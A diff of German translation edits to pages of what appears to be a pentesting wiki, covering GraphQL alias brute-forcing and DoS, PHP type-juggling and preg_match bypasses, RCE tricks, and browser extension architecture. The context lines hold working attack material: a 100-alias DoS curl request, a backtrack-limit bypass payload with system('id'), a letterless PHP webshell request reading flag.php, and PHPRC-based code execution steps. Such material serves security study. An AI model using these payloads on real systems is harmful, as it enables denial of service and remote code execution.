-In GraphQL sind Aliasse ein leistungsstarkes Feature, das es ermöglicht, **Eigenschaften explizit zu benennen**, wenn eine API-Anfrage gestellt wird. Diese Fähigkeit ist besonders nützlich, um **mehrere Instanzen desselben Typs** von Objekten innerhalb einer einzigen Anfrage abzurufen. Aliasse können verwendet werden, um die Einschränkung zu überwinden, die verhindert, dass GraphQL-Objekte mehrere Eigenschaften mit demselben Namen haben.
+In GraphQL sind Aliasse eine leistungsstarke Funktion, die es ermöglicht, **Eigenschaften explizit zu benennen**, wenn eine API-Anfrage gestellt wird. Diese Fähigkeit ist besonders nützlich, um **mehrere Instanzen desselben Typs** von Objekten innerhalb einer einzigen Anfrage abzurufen. Aliasse können verwendet werden, um die Einschränkung zu überwinden, die verhindert, dass GraphQL-Objekte mehrere Eigenschaften mit demselben Namen haben.
 
 Für ein detailliertes Verständnis von GraphQL-Aliassen wird die folgende Ressource empfohlen: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
 
-Während der Hauptzweck von Aliassen darin besteht, die Notwendigkeit zahlreicher API-Aufrufe zu reduzieren, wurde ein unbeabsichtigter Anwendungsfall identifiziert, bei dem Aliasse genutzt werden können, um Brute-Force-Angriffe auf einen GraphQL-Endpunkt auszuführen. Dies ist möglich, weil einige Endpunkte durch Ratenbegrenzer geschützt sind, die darauf ausgelegt sind, Brute-Force-Angriffe zu verhindern, indem sie die **Anzahl der HTTP-Anfragen** einschränken. Diese Ratenbegrenzer berücksichtigen jedoch möglicherweise nicht die Anzahl der Operationen innerhalb jeder Anfrage. Da Aliasse die Einbeziehung mehrerer Abfragen in einer einzigen HTTP-Anfrage ermöglichen, können sie solche Ratenbegrenzungsmaßnahmen umgehen.
+Während der Hauptzweck von Aliassen darin besteht, die Notwendigkeit für zahlreiche API-Aufrufe zu reduzieren, wurde ein unbeabsichtigter Anwendungsfall identifiziert, bei dem Aliasse genutzt werden können, um Brute-Force-Angriffe auf einen GraphQL-Endpunkt durchzuführen. Dies ist möglich, weil einige Endpunkte durch Ratenbegrenzer geschützt sind, die darauf ausgelegt sind, Brute-Force-Angriffe zu verhindern, indem sie die **Anzahl der HTTP-Anfragen** einschränken. Diese Ratenbegrenzer berücksichtigen jedoch möglicherweise nicht die Anzahl der Operationen innerhalb jeder Anfrage. Da Aliasse die Einbeziehung mehrerer Abfragen in einer einzigen HTTP-Anfrage ermöglichen, können sie solche Ratenbegrenzungsmaßnahmen umgehen.
 
-Betrachten Sie das unten angegebene Beispiel, das veranschaulicht, wie aliierte Abfragen verwendet werden können, um die Gültigkeit von Rabattcodes im Geschäft zu überprüfen. Diese Methode könnte Ratenbegrenzungen umgehen, da sie mehrere Abfragen in einer HTTP-Anfrage zusammenfasst und möglicherweise die Überprüfung zahlreicher Rabattcodes gleichzeitig ermöglicht.
+Betrachten Sie das unten angegebene Beispiel, das veranschaulicht, wie aliierte Abfragen verwendet werden können, um die Gültigkeit von Rabattcodes im Geschäft zu überprüfen. Diese Methode könnte Ratenbegrenzungen umgehen, da sie mehrere Abfragen in einer HTTP-Anfrage zusammenfasst, was möglicherweise die Überprüfung zahlreicher Rabattcodes gleichzeitig ermöglicht.
 ```bash
 # Example of a request utilizing aliased queries to check for valid discount codes
 query isValidDiscount($code: Int) {
@@ -490,18 +490,18 @@ valid
 
 ### Alias Overloading
 
-**Alias Overloading** ist eine GraphQL-Sicherheitsanfälligkeit, bei der Angreifer eine Abfrage mit vielen Aliasnamen für dasselbe Feld überlasten, was dazu führt, dass der Backend-Resolver dieses Feld wiederholt ausführt. Dies kann die Serverressourcen überlasten und zu einem **Denial of Service (DoS)** führen. Zum Beispiel wird im folgenden Abfrage dasselbe Feld (`expensiveField`) 1.000 Mal mit Aliasnamen angefordert, was den Backend zwingt, es 1.000 Mal zu berechnen, was möglicherweise die CPU oder den Speicher erschöpft:
+**Alias Overloading** ist eine GraphQL-Sicherheitsanfälligkeit, bei der Angreifer eine Abfrage mit vielen Aliasen für dasselbe Feld überlasten, was dazu führt, dass der Backend-Resolver dieses Feld wiederholt ausführt. Dies kann die Serverressourcen überlasten und zu einer **Denial of Service (DoS)** führen. Zum Beispiel wird im folgenden Query dasselbe Feld (`expensiveField`) 1.000 Mal mit Aliasen angefordert, was den Backend zwingt, es 1.000 Mal zu berechnen, was potenziell die CPU oder den Speicher erschöpfen kann:
 ```graphql
 # Test provided by https://github.com/dolevf/graphql-cop
 curl -X POST -H "Content-Type: application/json" \
 -d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
 'https://example.com/graphql'
 ```
-Um dies zu mildern, implementieren Sie Alias-Zählgrenzen, Abfragekomplexitätsanalysen oder Ratenbegrenzungen, um Ressourcenmissbrauch zu verhindern.
+Um dies zu mildern, implementieren Sie Alias-Zählgrenzen, eine Analyse der Abfragekomplexität oder eine Ratenbegrenzung, um den Missbrauch von Ressourcen zu verhindern.
 
 ### **Array-basierte Abfrage-Batching**
 
-**Array-basierte Abfrage-Batching** ist eine Schwachstelle, bei der eine GraphQL-API das Batching mehrerer Abfragen in einer einzigen Anfrage zulässt, wodurch ein Angreifer eine große Anzahl von Abfragen gleichzeitig senden kann. Dies kann das Backend überlasten, indem alle gebündelten Abfragen parallel ausgeführt werden, was übermäßige Ressourcen (CPU, Speicher, Datenbankverbindungen) verbraucht und potenziell zu einem **Denial of Service (DoS)** führen kann. Wenn keine Grenze für die Anzahl der Abfragen in einem Batch besteht, kann ein Angreifer dies ausnutzen, um die Verfügbarkeit des Dienstes zu beeinträchtigen.
+**Array-basierte Abfrage-Batching** ist eine Schwachstelle, bei der eine GraphQL-API das Batching mehrerer Abfragen in einer einzigen Anfrage zulässt, wodurch ein Angreifer eine große Anzahl von Abfragen gleichzeitig senden kann. Dies kann das Backend überlasten, indem alle gebündelten Abfragen parallel ausgeführt werden, was übermäßige Ressourcen (CPU, Speicher, Datenbankverbindungen) verbraucht und potenziell zu einem **Denial of Service (DoS)** führen kann. Wenn es keine Begrenzung für die Anzahl der Abfragen in einem Batch gibt, kann ein Angreifer dies ausnutzen, um die Verfügbarkeit des Dienstes zu beeinträchtigen.
 ```graphql
 # Test provided by https://github.com/dolevf/graphql-cop
 curl -X POST -H "User-Agent: graphql-cop/1.13" \
@@ -550,9 +550,9 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
 
 ### Vulnerability scanners
 
-- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testen Sie häufige Fehlkonfigurationen von GraphQL-Endpunkten
+- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testen Sie gängige Fehlkonfigurationen von GraphQL-Endpunkten
 - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): GraphQL-Sicherheitsprüfskript mit Fokus auf das Durchführen von Batch-GraphQL-Abfragen und -Mutationen.
-- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Fingerabdruck des verwendeten GraphQL
+- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Fingerabdruck des verwendeten GraphQL erstellen
 - [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Toolkit, das verwendet werden kann, um Schemata zu erfassen und nach sensiblen Daten zu suchen, Autorisierungen zu testen, Schemata zu brute-forcen und Pfade zu einem bestimmten Typ zu finden.
 - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Kann als Standalone oder [Burp-Erweiterung](https://github.com/doyensec/inql) verwendet werden.
 - [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Kann auch als CLI-Client verwendet werden, um Angriffe zu automatisieren

src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md

@@ -32,7 +32,7 @@ PHP-Vergleichstabellen: [https://www.php.net/manual/en/types.comparisons.php](ht
 {% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
 
 - `"string" == 0 -> True` Ein String, der nicht mit einer Zahl beginnt, ist gleich einer Zahl
-- `"0xAAAA" == "43690" -> True` Strings, die aus Zahlen im dezimalen oder hexadezimalen Format bestehen, können mit anderen Zahlen/Strings verglichen werden, wobei das Ergebnis True ist, wenn die Zahlen gleich sind (Zahlen in einem String werden als Zahlen interpretiert)
+- `"0xAAAA" == "43690" -> True` Strings, die aus Zahlen im Dezimal- oder Hexadezimalformat bestehen, können mit anderen Zahlen/Strings verglichen werden, wobei das Ergebnis True ist, wenn die Zahlen gleich sind (Zahlen in einem String werden als Zahlen interpretiert)
 - `"0e3264578" == 0 --> True` Ein String, der mit "0e" beginnt und gefolgt von irgendetwas ist, wird gleich 0 sein
 - `"0X3264578" == 0X --> True` Ein String, der mit "0" beginnt und gefolgt von einem beliebigen Buchstaben (X kann jeder Buchstabe sein) und gefolgt von irgendetwas ist, wird gleich 0 sein
 - `"0e12334" == "0" --> True` Dies ist sehr interessant, da Sie in einigen Fällen die String-Eingabe von "0" und einige Inhalte, die gehasht und damit verglichen werden, steuern können. Daher, wenn Sie einen Wert bereitstellen können, der einen Hash erzeugt, der mit "0e" beginnt und ohne Buchstaben ist, könnten Sie den Vergleich umgehen. Sie können **bereits gehashte Strings** mit diesem Format hier finden: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
@@ -69,11 +69,11 @@ Selbst wenn `===` **verwendet wird**, kann es Fehler geben, die den **Vergleich
 ```
 ### preg_match(/^.\*/)
 
-**`preg_match()`** kann verwendet werden, um **Benutzereingaben zu validieren** (es **prüft**, ob ein **Wort/Regex** aus einer **Blacklist** in der **Benutzereingabe** **vorhanden** ist, und wenn nicht, kann der Code seine Ausführung fortsetzen).
+**`preg_match()`** könnte verwendet werden, um **Benutzereingaben zu validieren** (es **prüft**, ob ein **Wort/Regex** aus einer **Blacklist** in der **Benutzereingabe** **vorhanden** ist, und wenn nicht, kann der Code seine Ausführung fortsetzen).
 
 #### New line bypass
 
-Wenn jedoch der Anfang des Regex mit `preg_match()` abgegrenzt wird, **prüft es nur die erste Zeile der Benutzereingabe**, und wenn Sie die Eingabe irgendwie in **mehreren Zeilen** **senden** können, könnten Sie in der Lage sein, diese Überprüfung zu umgehen. Beispiel:
+Wenn jedoch der Anfang des Regex mit `preg_match()` **abgegrenzt** wird, **prüft** es **nur die erste Zeile der Benutzereingabe**, und wenn Sie die Eingabe irgendwie in **mehreren Zeilen** **senden** können, könnten Sie in der Lage sein, diese Überprüfung zu umgehen. Beispiel:
 ```php
 $myinput="aaaaaaa
 11111111"; //Notice the new line
@@ -96,7 +96,7 @@ Finden Sie ein Beispiel hier: [https://ramadistra.dev/fbctf-2019-rceservice](htt
 
 #### **Length error bypass**
 
-(Diese Umgehung wurde anscheinend auf PHP 5.2.5 versucht und ich konnte sie nicht auf PHP 7.3.15 zum Laufen bringen)\
+(Diese Umgehung wurde anscheinend auf PHP 5.2.5 ausprobiert und ich konnte sie nicht auf PHP 7.3.15 zum Laufen bringen)\
 Wenn Sie `preg_match()` eine gültige sehr **große Eingabe** senden, **wird es nicht in der Lage sein, sie zu verarbeiten** und Sie werden in der Lage sein, die Überprüfung zu **umgehen**. Zum Beispiel, wenn es eine JSON auf die schwarze Liste setzt, könnten Sie senden:
 ```bash
 payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
@@ -109,13 +109,13 @@ Trick von: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-w
 
 <figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
 
-Kurz gesagt, das Problem tritt auf, weil die `preg_*` Funktionen in PHP auf der [PCRE-Bibliothek](http://www.pcre.org/) basieren. In PCRE werden bestimmte reguläre Ausdrücke durch viele rekursive Aufrufe abgeglichen, was viel Stack-Speicher benötigt. Es ist möglich, ein Limit für die Anzahl der erlaubten Rekursionen festzulegen, aber in PHP beträgt dieses Limit [standardmäßig 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), was mehr ist, als im Stack Platz hat.
+Kurz gesagt, das Problem tritt auf, weil die `preg_*` Funktionen in PHP auf der [PCRE-Bibliothek](http://www.pcre.org/) basieren. In PCRE werden bestimmte reguläre Ausdrücke durch viele rekursive Aufrufe abgeglichen, was viel Stack-Speicher verbraucht. Es ist möglich, ein Limit für die Anzahl der erlaubten Rekursionen festzulegen, aber in PHP beträgt dieses Limit [standardmäßig 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), was mehr ist, als im Stack Platz hat.
 
 [Dieser Stackoverflow-Thread](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) wurde ebenfalls in dem Beitrag verlinkt, in dem ausführlicher über dieses Problem gesprochen wird. Unsere Aufgabe war nun klar:\
-**Sende eine Eingabe, die die Regex dazu bringt, 100_000+ Rekursionen durchzuführen, was zu SIGSEGV führt, wodurch die `preg_match()` Funktion `false` zurückgibt und die Anwendung denkt, dass unsere Eingabe nicht bösartig ist, und am Ende des Payloads eine Überraschung wie `{system(<verybadcommand>)}` wirft, um SSTI --> RCE --> Flag :) zu erhalten.**
+**Sende eine Eingabe, die die Regex dazu bringt, 100_000+ Rekursionen durchzuführen, was zu SIGSEGV führt, wodurch die `preg_match()` Funktion `false` zurückgibt und die Anwendung denkt, dass unsere Eingabe nicht bösartig ist, und am Ende des Payloads eine Überraschung wie `{system(<verybadcommand>)}` wirft, um SSTI --> RCE --> Flag :)**.
 
-Nun, in Regex-Begriffen führen wir tatsächlich keine 100k "Rekursionen" durch, sondern zählen stattdessen "Backtracking-Schritte", die, wie die [PHP-Dokumentation](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) angibt, standardmäßig 1_000_000 (1M) in der Variablen `pcre.backtrack_limit` beträgt.\
-Um das zu erreichen, ergibt `'X'*500_001` 1 Million Backtracking-Schritte (500k vorwärts und 500k rückwärts):
+Nun, in Regex-Begriffen führen wir tatsächlich keine 100k "Rekursionen" durch, sondern zählen "Backtracking-Schritte", die, wie die [PHP-Dokumentation](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) besagt, standardmäßig 1_000_000 (1M) in der Variablen `pcre.backtrack_limit` beträgt.\
+Um das zu erreichen, wird `'X'*500_001` zu 1 Million Backtracking-Schritten führen (500k vorwärts und 500k rückwärts):
 ```python
 payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
 ```
@@ -156,12 +156,12 @@ Check:
 - Die **PHPSESSION-Cookies der gleichen Domain werden am gleichen Ort gespeichert**, daher, wenn innerhalb einer Domain **verschiedene Cookies in verschiedenen Pfaden verwendet werden**, können Sie einen Pfad so gestalten, dass er das Cookie des anderen Pfades zugreift, indem er den Wert des Cookies des anderen Pfades setzt.\
 Auf diese Weise, wenn **beide Pfade auf eine Variable mit dem gleichen Namen zugreifen**, können Sie den **Wert dieser Variablen in path1 auf path2 anwenden**. Und dann wird path2 die Variablen von path1 als gültig betrachten (indem das Cookie den Namen erhält, der ihm in path2 entspricht).
 - Wenn Sie die **Benutzernamen** der Benutzer der Maschine haben. Überprüfen Sie die Adresse: **/\~\<USERNAME>**, um zu sehen, ob die PHP-Verzeichnisse aktiviert sind.
-- [**LFI und RCE mit PHP-Wrappers**](../../../pentesting-web/file-inclusion/)
+- [**LFI und RCE mit PHP-Wrappers**](../../../pentesting-web/file-inclusion/index.html)
 
 ### password_hash/password_verify
 
 Diese Funktionen werden typischerweise in PHP verwendet, um **Hashes aus Passwörtern zu generieren** und um zu **überprüfen**, ob ein Passwort im Vergleich zu einem Hash korrekt ist.\
-Die unterstützten Algorithmen sind: `PASSWORD_DEFAULT` und `PASSWORD_BCRYPT` (beginnt mit `$2y$`). Beachten Sie, dass **PASSWORD_DEFAULT häufig dasselbe wie PASSWORD_BCRYPT ist.** Und derzeit hat **PASSWORD_BCRYPT** eine **Größenbeschränkung für die Eingabe von 72 Bytes**. Daher werden beim Versuch, etwas Größeres als 72 Bytes mit diesem Algorithmus zu hashen, nur die ersten 72B verwendet:
+Die unterstützten Algorithmen sind: `PASSWORD_DEFAULT` und `PASSWORD_BCRYPT` (beginnt mit `$2y$`). Beachten Sie, dass **PASSWORD_DEFAULT häufig dasselbe wie PASSWORD_BCRYPT ist.** Und derzeit hat **PASSWORD_BCRYPT** eine **Größenbeschränkung für die Eingabe von 72 Bytes**. Daher, wenn Sie versuchen, etwas Größeres als 72 Bytes mit diesem Algorithmus zu hashen, werden nur die ersten 72B verwendet:
 ```php
 $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
 False
@@ -173,7 +173,7 @@ True
 
 #### Fehler verursachen nach dem Setzen von Headern
 
-Aus [**diesem Twitter-Thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) können Sie sehen, dass das Senden von mehr als 1000 GET-Parametern oder 1000 POST-Parametern oder 20 Dateien dazu führt, dass PHP keine Header in der Antwort setzen wird.
+Aus [**diesem Twitter-Thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) kann man sehen, dass das Senden von mehr als 1000 GET-Parametern oder 1000 POST-Parametern oder 20 Dateien dazu führt, dass PHP keine Header in der Antwort setzen wird.
 
 Dies ermöglicht es, beispielsweise CSP-Header zu umgehen, die in Codes wie:
 ```php
@@ -184,7 +184,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
 #### Füllen eines Körpers, bevor Header gesetzt werden
 
 Wenn eine **PHP-Seite Fehler ausgibt und einige vom Benutzer bereitgestellte Eingaben zurückgibt**, kann der Benutzer den PHP-Server dazu bringen, einige **Inhalte auszugeben, die lang genug sind**, sodass der Server einen Fehler ausgibt, wenn er versucht, **die Header** in die Antwort einzufügen.\
-Im folgenden Szenario ließ der **Angreifer den Server einige große Fehler ausgeben**, und wie Sie auf dem Bildschirm sehen können, als PHP versuchte, **die Header-Informationen zu ändern, konnte es nicht** (zum Beispiel wurde der CSP-Header nicht an den Benutzer gesendet):
+Im folgenden Szenario hat der **Angreifer den Server dazu gebracht, einige große Fehler auszugeben**, und wie Sie auf dem Bildschirm sehen können, als PHP versuchte, **die Headerinformationen zu ändern, konnte es nicht** (zum Beispiel wurde der CSP-Header nicht an den Benutzer gesendet):
 
 ![](<../../../images/image (1085).png>)
 
@@ -202,7 +202,7 @@ php-ssrf.md
 &#xNAN;**\`ls\`;**\
 **shell_exec("ls");**
 
-[Überprüfen Sie dies für nützliche PHP-Funktionen](php-useful-functions-disable_functions-open_basedir-bypass/)
+[Überprüfen Sie dies für nützliche PHP-Funktionen](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
 
 ### **RCE über** **preg_replace()**
 ```php
@@ -266,7 +266,7 @@ Um die Anzahl der Klammern zu entdecken, die Sie schließen müssen:
 
 ### **RCE über .httaccess**
 
-Wenn Sie eine **.htaccess** **hochladen** können, können Sie mehrere Dinge **konfigurieren** und sogar Code ausführen (indem Sie konfigurieren, dass Dateien mit der Erweiterung .htaccess **ausgeführt** werden können).
+Wenn Sie eine **.htaccess** **hochladen** können, dann können Sie mehrere Dinge **konfigurieren** und sogar Code ausführen (indem Sie konfigurieren, dass Dateien mit der Erweiterung .htaccess **ausgeführt** werden können).
 
 Verschiedene .htaccess-Shells finden Sie [hier](https://github.com/wireghoul/htshells)
 
@@ -275,7 +275,7 @@ Verschiedene .htaccess-Shells finden Sie [hier](https://github.com/wireghoul/hts
 Wenn Sie eine Schwachstelle finden, die es Ihnen ermöglicht, **Umgebungsvariablen in PHP zu ändern** (und eine andere, um Dateien hochzuladen, obwohl dies mit mehr Forschung möglicherweise umgangen werden kann), könnten Sie dieses Verhalten ausnutzen, um **RCE** zu erhalten.
 
 - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Diese Umgebungsvariable ermöglicht es Ihnen, beliebige Bibliotheken beim Ausführen anderer Binärdateien zu laden (obwohl es in diesem Fall möglicherweise nicht funktioniert).
-- **`PHPRC`** : Weist PHP an, **wo es seine Konfigurationsdatei finden soll**, die normalerweise `php.ini` heißt. Wenn Sie Ihre eigene Konfigurationsdatei hochladen können, verwenden Sie `PHPRC`, um PHP darauf zu verweisen. Fügen Sie einen **`auto_prepend_file`**-Eintrag hinzu, der eine zweite hochgeladene Datei angibt. Diese zweite Datei enthält normalen **PHP-Code, der dann** von der PHP-Laufzeitumgebung vor jedem anderen Code ausgeführt wird.
+- **`PHPRC`** : Weist PHP an, **wo es seine Konfigurationsdatei finden soll**, die normalerweise `php.ini` genannt wird. Wenn Sie Ihre eigene Konfigurationsdatei hochladen können, verwenden Sie `PHPRC`, um PHP darauf zu verweisen. Fügen Sie einen **`auto_prepend_file`**-Eintrag hinzu, der eine zweite hochgeladene Datei angibt. Diese zweite Datei enthält normalen **PHP-Code, der dann** von der PHP-Laufzeitumgebung vor jedem anderen Code ausgeführt wird.
 1. Laden Sie eine PHP-Datei mit unserem Shellcode hoch.
 2. Laden Sie eine zweite Datei hoch, die eine **`auto_prepend_file`**-Direktive enthält, die den PHP-Präprozessor anweist, die Datei aus Schritt 1 auszuführen.
 3. Setzen Sie die `PHPRC`-Variable auf die Datei, die Sie in Schritt 2 hochgeladen haben.
@@ -351,7 +351,7 @@ echo "$x ${Da}"; //Da Drums
 ```
 ## RCE durch Missbrauch von $\_GET\["a"]\($\_GET\["b")
 
-Wenn Sie auf einer Seite **ein neues Objekt einer beliebigen Klasse erstellen** können, könnten Sie in der Lage sein, RCE zu erlangen. Überprüfen Sie die folgende Seite, um zu erfahren, wie:
+Wenn Sie auf einer Seite **ein neues Objekt einer beliebigen Klasse erstellen** können, könnten Sie in der Lage sein, RCE zu erlangen. Überprüfen Sie die folgende Seite, um zu lernen, wie:
 
 {{#ref}}
 php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
@@ -381,7 +381,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
 
 $_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
 ```
-Also, wenn Sie **willkürlichen PHP-Code ohne Zahlen und Buchstaben ausführen können**, können Sie eine Anfrage wie die folgende senden, um diese Nutzlast auszunutzen, um willkürlichen PHP-Code auszuführen:
+Also, wenn Sie **willkürliches PHP ohne Zahlen und Buchstaben ausführen können**, können Sie eine Anfrage wie die folgende senden, um diese Nutzlast auszunutzen, um willkürliches PHP auszuführen:
 ```
 POST: /action.php?_=system&__=cat+flag.php
 Content-Type: application/x-www-form-urlencoded

src/pentesting-web/browser-extension-pentesting-methodology/README.md

@@ -14,7 +14,7 @@ Die Layouts von Erweiterungen sehen am besten aus, wenn sie visualisiert werden,
 
 ### **Inhalts-Skripte**
 
-Jedes Inhalts-Skript hat direkten Zugriff auf das DOM einer **einzelnen Webseite** und ist damit potenziell **bösartigem Input** ausgesetzt. Das Inhalts-Skript enthält jedoch keine Berechtigungen, außer der Fähigkeit, Nachrichten an den Erweiterungskern zu senden.
+Jedes Inhalts-Skript hat direkten Zugriff auf das DOM einer **einzelnen Webseite** und ist damit potenziell schädlichem Input ausgesetzt. Das Inhalts-Skript enthält jedoch keine Berechtigungen, außer der Fähigkeit, Nachrichten an den Erweiterungskern zu senden.
 
 ### **Erweiterungskern**
 
@@ -22,12 +22,12 @@ Der Erweiterungskern enthält die meisten Berechtigungen/Zugriffe der Erweiterun
 
 ### **Native Binärdatei**
 
-Die Erweiterung erlaubt eine native Binärdatei, die **auf die Hostmaschine mit den vollständigen Berechtigungen des Benutzers zugreifen kann.** Die native Binärdatei interagiert über die standardmäßige Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)), die von Flash und anderen Browser-Plugins verwendet wird, mit dem Erweiterungskern.
+Die Erweiterung erlaubt eine native Binärdatei, die **auf die Hostmaschine mit den vollständigen Berechtigungen des Benutzers zugreifen kann.** Die native Binärdatei interagiert über die standardmäßige Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) mit dem Erweiterungskern, die von Flash und anderen Browser-Plugins verwendet wird.
 
 ### Grenzen
 
 > [!CAUTION]
-> Um die vollständigen Berechtigungen des Benutzers zu erhalten, muss ein Angreifer die Erweiterung überzeugen, bösartigen Input vom Inhalts-Skript an den Kern der Erweiterung und vom Kern der Erweiterung an die native Binärdatei weiterzugeben.
+> Um die vollständigen Berechtigungen des Benutzers zu erhalten, muss ein Angreifer die Erweiterung überzeugen, schädlichen Input vom Inhalts-Skript an den Kern der Erweiterung und vom Kern der Erweiterung an die native Binärdatei weiterzugeben.
 
 Jede Komponente der Erweiterung ist durch **starke Schutzgrenzen** voneinander getrennt. Jede Komponente läuft in einem **separaten Betriebssystemprozess**. Inhalts-Skripte und Erweiterungskerne laufen in **Sandbox-Prozessen**, die für die meisten Betriebssystemdienste nicht verfügbar sind.
 
@@ -61,7 +61,7 @@ Beispiel:
 ```
 ### `content_scripts`
 
-Inhalts-Skripte werden **geladen**, wann immer der Benutzer zu einer übereinstimmenden Seite **navigiert**, in unserem Fall zu jeder Seite, die dem **`https://example.com/*`** Ausdruck entspricht und nicht dem **`*://*/*/business*`** Regex entspricht. Sie werden **wie die eigenen Skripte der Seite** ausgeführt und haben beliebigen Zugriff auf das [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) der Seite.
+Inhalts-Skripte werden **geladen**, wann immer der Benutzer zu einer übereinstimmenden Seite **navigiert**, in unserem Fall zu jeder Seite, die dem **`https://example.com/*`** Ausdruck entspricht und nicht dem **`*://*/*/business*`** Regex entspricht. Sie werden **wie die eigenen Skripte der Seite** ausgeführt und haben beliebigen Zugriff auf das [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model).
 ```json
 "content_scripts": [
 {
@@ -78,7 +78,7 @@ Inhalts-Skripte werden **geladen**, wann immer der Benutzer zu einer übereinsti
 ```
 Um weitere URLs einzuschließen oder auszuschließen, ist es auch möglich, **`include_globs`** und **`exclude_globs`** zu verwenden.
 
-Dies ist ein Beispielinhaltsskript, das einen Erklärungsbutton zur Seite hinzufügt, wenn [die Storage-API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) verwendet wird, um den `message`-Wert aus dem Speicher der Erweiterung abzurufen.
+Dies ist ein Beispiel für ein Inhalts-Skript, das einen Erklär-Button zur Seite hinzufügt, wenn [die Storage-API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) verwendet wird, um den `message`-Wert aus dem Speicher der Erweiterung abzurufen.
 ```js
 chrome.storage.local.get("message", (result) => {
 let div = document.createElement("div")
@@ -91,7 +91,7 @@ document.body.appendChild(div)
 ```
 <figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
 
-Eine Nachricht wird an die Erweiterungsseiten vom Inhalts-Skript gesendet, wenn dieser Button geklickt wird, durch die Nutzung der [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Dies liegt an der Einschränkung des Inhalts-Skripts im direkten Zugriff auf APIs, wobei `storage` zu den wenigen Ausnahmen gehört. Für Funktionalitäten über diese Ausnahmen hinaus werden Nachrichten an Erweiterungsseiten gesendet, mit denen Inhalts-Skripte kommunizieren können.
